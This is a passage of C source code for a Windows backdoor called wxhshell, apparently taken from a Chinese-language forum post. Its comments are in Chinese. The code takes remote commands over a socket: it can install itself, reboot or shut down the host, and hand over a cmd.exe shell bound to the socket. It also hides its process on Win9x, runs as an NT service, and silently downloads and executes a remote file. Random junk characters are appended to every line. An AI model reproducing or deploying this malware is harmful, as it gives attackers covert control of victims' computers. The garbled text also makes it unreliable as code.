  } IxC/X5Mp^q  
  else { M,1Yce%+}  
q]Gym 7o  
    switch(cmd[0]) { O8+e: K[D  
  !Irmc*;QE  
  // 帮助 ;EstUs3  
  case '?': { .&d]7@!qy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]|g{{PWH  
    break; QW :-q(s  
  } M##h<3I  
  // 安装 a x1  
  case 'i': { U1(<1eTyu  
    if(Install()) 5^'PjtW6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W,Q"?(+]B  
    else |aef$f5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VQE8hQ37  
    break; .zr2!}lB  
    }  TA;  
  // 卸载 vU Bk oC2Q  
  case 'r': { oeKI9p13\  
    if(Uninstall()) De`)`\U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3DRbCKNL  
    else l +RT>jAmK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J1DX}h]  
    break; F-Mf~+=Dn  
    } !J ")TP=  
  // 显示 wxhshell 所在路径 QUd`({/@:  
  case 'p': { N}x \Ll  
    char svExeFile[MAX_PATH]; u )+;(Vd  
    strcpy(svExeFile,"\n\r"); FNlzpCT~L  
      strcat(svExeFile,ExeFile); yiyyw,iy  
        send(wsh,svExeFile,strlen(svExeFile),0); C;2!c  
    break; $ hwJjSZ0  
    } cy|]}n85  
  // 重启 [/ uqH  
  case 'b': { bnBnE[y<'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v3 4!rL  
    if(Boot(REBOOT)) nTO,d$!Kp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fis**f0  
    else { 2\&uO   
    closesocket(wsh); 1<a+91*=e  
    ExitThread(0); HFYN(nz}[  
    } hnha1 f  
    break; .Ymoh>JRL  
    } HHa XK  
  // 关机 =YlsJ={h  
  case 'd': { WP-?C<Iw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5 {cbcuG  
    if(Boot(SHUTDOWN))  B[jCe5!w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *BzqAi0  
    else { V&82U w  
    closesocket(wsh); " O1\]"j  
    ExitThread(0); .G#wXsJj  
    } ''P.~~ezr5  
    break; E O^j,x g  
    } +{Yd\{9  
  // 获取shell [#S[= %  
  case 's': { EhDKh\OY5  
    CmdShell(wsh); Ft)7Wx" S  
    closesocket(wsh); 2lNZwV7  
    ExitThread(0); 7+wy`xi  
    break; 71`)@y,Z,  
  } 0Q>f,}W%>  
  // 退出 WVDkCo@  
  case 'x': { csP 5R3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @Bs7kjuX  
    CloseIt(wsh); kBZnR$Cl  
    break; @-y.Y}k#$~  
    } m'D_zb9+  
  // 离开 S*,DX~vig  
  case 'q': { 5e tbJk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vAZc.=+ >  
    closesocket(wsh); Do-~-d4  
    WSACleanup(); 4D(5WJ&  
    exit(1); AwrW!)n }  
    break; 6qfL-( G  
        } i?" ~g!A  
  }  A.nU8   
  } !DgN@P.o  
r}>8FE9S'H  
  // 提示信息 -Lh\]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;tK%Q~To  
} t"[ xx_i  
  } j >f  
QN`K|,}H^  
  return; i*-[-hn-V  
} -1'O  
#O3Y#2lI  
// shell模块句柄 fyYHwG  
int CmdShell(SOCKET sock) "9W] TG  
{ f;os\8JdM  
STARTUPINFO si; MR$R#  
ZeroMemory(&si,sizeof(si)); 5P=3.Mk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )S41N^j.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oSd TQ$U!D  
PROCESS_INFORMATION ProcessInfo; z4 GcS/3K  
char cmdline[]="cmd"; $7k"?M_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @)[Q6w`x  
  return 0; S#km`N`  
} p5RnFe l  
\<k5c-8Hb  
// 自身启动模式 vTE3-v[i  
int StartFromService(void) &<??,R14  
{ `" BFvF#  
typedef struct |qUi9#NUo  
{ u@ MUcW  
  DWORD ExitStatus; Vf28R,~m  
  DWORD PebBaseAddress; 1Q[I$=-F  
  DWORD AffinityMask; '0\,waEu  
  DWORD BasePriority; \gz(C`4{j  
  ULONG UniqueProcessId; =K#5I<x  
  ULONG InheritedFromUniqueProcessId; 5UWj#|t  
}   PROCESS_BASIC_INFORMATION; FA5|`  
W4MU^``   
PROCNTQSIP NtQueryInformationProcess; #bI ,;]T  
1f 3c3PJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,"6Bw|s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Oy(f h%k#  
*dmB Ji}  
  HANDLE             hProcess; /x2-$a:<  
  PROCESS_BASIC_INFORMATION pbi; g|STegg  
CjFnE   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q4y P\B  
  if(NULL == hInst ) return 0; %:/@1r7o>  
}4Q~<2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :mYVHLmea  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o]R*6$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K_SURTys  
|B{@noGX  
  if (!NtQueryInformationProcess) return 0; }dv$^4 *n  
j\hI, mc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Py@/\V  
  if(!hProcess) return 0; { l0[`"EF  
qV$\E=%fhM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jw 4B^2}  
p<Oz"6_/~  
  CloseHandle(hProcess); 7.mYzl-F(  
?)-#\z=6G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s(.H"_ a  
if(hProcess==NULL) return 0; o=zr]vv  
n0a|GZyO]  
HMODULE hMod; ^-^ii 3G`  
char procName[255]; R:+cumHr  
unsigned long cbNeeded; ;_~9".'<d  
0 s$;3qE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @S<6#zR  
.&i_~?1[N  
  CloseHandle(hProcess); ;:PxWm|_  
Q8H+=L:  
if(strstr(procName,"services")) return 1; // 以服务启动 j LM}hwJ8  
`GUGy.b  
  return 0; // 注册表启动 YB}m1 g`  
} ,{C hHnJ%#  
le|Rhs%Z%  
// 主模块 ~K/_51O'  
int StartWxhshell(LPSTR lpCmdLine) ?/}N  
{ y*#YIS56I  
  SOCKET wsl; Y"  Ut  
BOOL val=TRUE; elGwS\sw  
  int port=0; J#?` l,  
  struct sockaddr_in door; kXroFLrY  
E[ttamU  
  if(wscfg.ws_autoins) Install(); h!mx/Hx  
yZV Y3<]  
port=atoi(lpCmdLine); e>2KW5.  
XiM d|D  
if(port<=0) port=wscfg.ws_port; at+Nd K  
]~:WGo=_  
  WSADATA data; KvH t`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0N87G}Xu  
.% 79(r^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;(-Wc9=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xj[v$HP  
  door.sin_family = AF_INET; =D&XE*qkZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %-KgR  
  door.sin_port = htons(port); ~l8w]R3A  
&n'@L9v81  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ye|(5f  
closesocket(wsl); V!Pe%.>  
return 1; vW-o%u*  
} l@0${&n  
2~l+2..  
  if(listen(wsl,2) == INVALID_SOCKET) { BJgHel+N  
closesocket(wsl); `\r <3?  
return 1; N*f ]NCSi  
} ^;sE)L6  
  Wxhshell(wsl); 25j?0P"&  
  WSACleanup(); 6j Rewj  
D}`MY\H  
return 0; C]Q`!e  
%O$=%"D6  
} "/y SHB[  
rvacCwI  
// 以NT服务方式启动 Ss3~X90!*B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CofTTYl  
{ [Z2{S-)UM  
DWORD   status = 0; l{gR6U{e  
  DWORD   specificError = 0xfffffff; ^3ai}Ei3  
+K s3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h[;DRD!Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q|}O-A*wa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o!lKP>  
  serviceStatus.dwWin32ExitCode     = 0; `-.6;T}2U  
  serviceStatus.dwServiceSpecificExitCode = 0;  nvCp-Z$  
  serviceStatus.dwCheckPoint       = 0; :NL[NbQYt  
  serviceStatus.dwWaitHint       = 0; f _Hh"Vh  
"(iDUl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HV'M31m~q  
  if (hServiceStatusHandle==0) return; vJ{F)0 K  
nIZsKbnw  
status = GetLastError(); 1gnLKfc  
  if (status!=NO_ERROR) }KYOde@  
{ OnH3Ss$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v cUGBGX_&  
    serviceStatus.dwCheckPoint       = 0;  9I:3  
    serviceStatus.dwWaitHint       = 0; 4M!wm]n/%5  
    serviceStatus.dwWin32ExitCode     = status; j]U~ZAn,K  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4:Oq(e_(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KG4zjQf  
    return; ?,] eN&`  
  } .mNw^>:cq  
Kf6 D)B 26  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A<^X P-Nrp  
  serviceStatus.dwCheckPoint       = 0; IEd?-L  
  serviceStatus.dwWaitHint       = 0; ~xv3R   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s)?GscPG!  
} 4 aE{}jp1  
F2MC)&#  
// 处理NT服务事件,比如:启动、停止 cNikLd~?A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )G;H f?M  
{ lWH#/5`h  
switch(fdwControl) {>PEl; ,-  
{ 0>46ZzxUZ  
case SERVICE_CONTROL_STOP: *&I _fAh]  
  serviceStatus.dwWin32ExitCode = 0; k'*vG6!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JIjo^zOXsc  
  serviceStatus.dwCheckPoint   = 0; XZS%az1%  
  serviceStatus.dwWaitHint     = 0; ;at1|E*  
  { &EYoviFp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `DE_<l  
  } *FC|v0D  
  return; 7<=p*  
case SERVICE_CONTROL_PAUSE: Tm9sQ7Oj(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cW_l|  
  break; Q/]o'_[vW  
case SERVICE_CONTROL_CONTINUE: ?S9vYaA$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _mk@1ft  
  break; ay| |yn:  
case SERVICE_CONTROL_INTERROGATE: )#1!%aQ  
  break; ? HNuffk  
}; %!AzFL J|Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S>p0{:zM  
} @y'ZM  
s"J)Jc  
// 标准应用程序主函数 OHW|?hI=[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I-1NZgv  
{ ^16zZ*  
FV3[7w=D\  
// 获取操作系统版本 L Ee{fc?{  
OsIsNt=GetOsVer(); T$AVMVq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k.jBu  
#6~Bg)7AM  
  // 从命令行安装 eX lJ=S}  
  if(strpbrk(lpCmdLine,"iI")) Install(); VXlAK(   
kj.9\  
  // 下载执行文件 B[6k [Vs  
if(wscfg.ws_downexe) { 8h4]<T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %3|/t-US  
  WinExec(wscfg.ws_filenam,SW_HIDE); I.(@#v7T  
} ].5q,A]  
cH4 PrMm&  
if(!OsIsNt) { $cc]Av4c2  
// 如果时win9x,隐藏进程并且设置为注册表启动 IbJl/N%o  
HideProc(); S("dU`T?  
StartWxhshell(lpCmdLine); '?Q"[e  
} O9o]4;  
else A L^tUcl  
  if(StartFromService()) :vx<m_  
  // 以服务方式启动 rlawH}1b  
  StartServiceCtrlDispatcher(DispatchTable); ^W9O_5\g4a  
else 5o>*a>27,A  
  // 普通方式启动 "frioi`a2  
  StartWxhshell(lpCmdLine); cDzb}W*UM  
6Z' K1  
return 0; 9Li&0E  
}
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只看该作者 1 发表于: 2006-10-10
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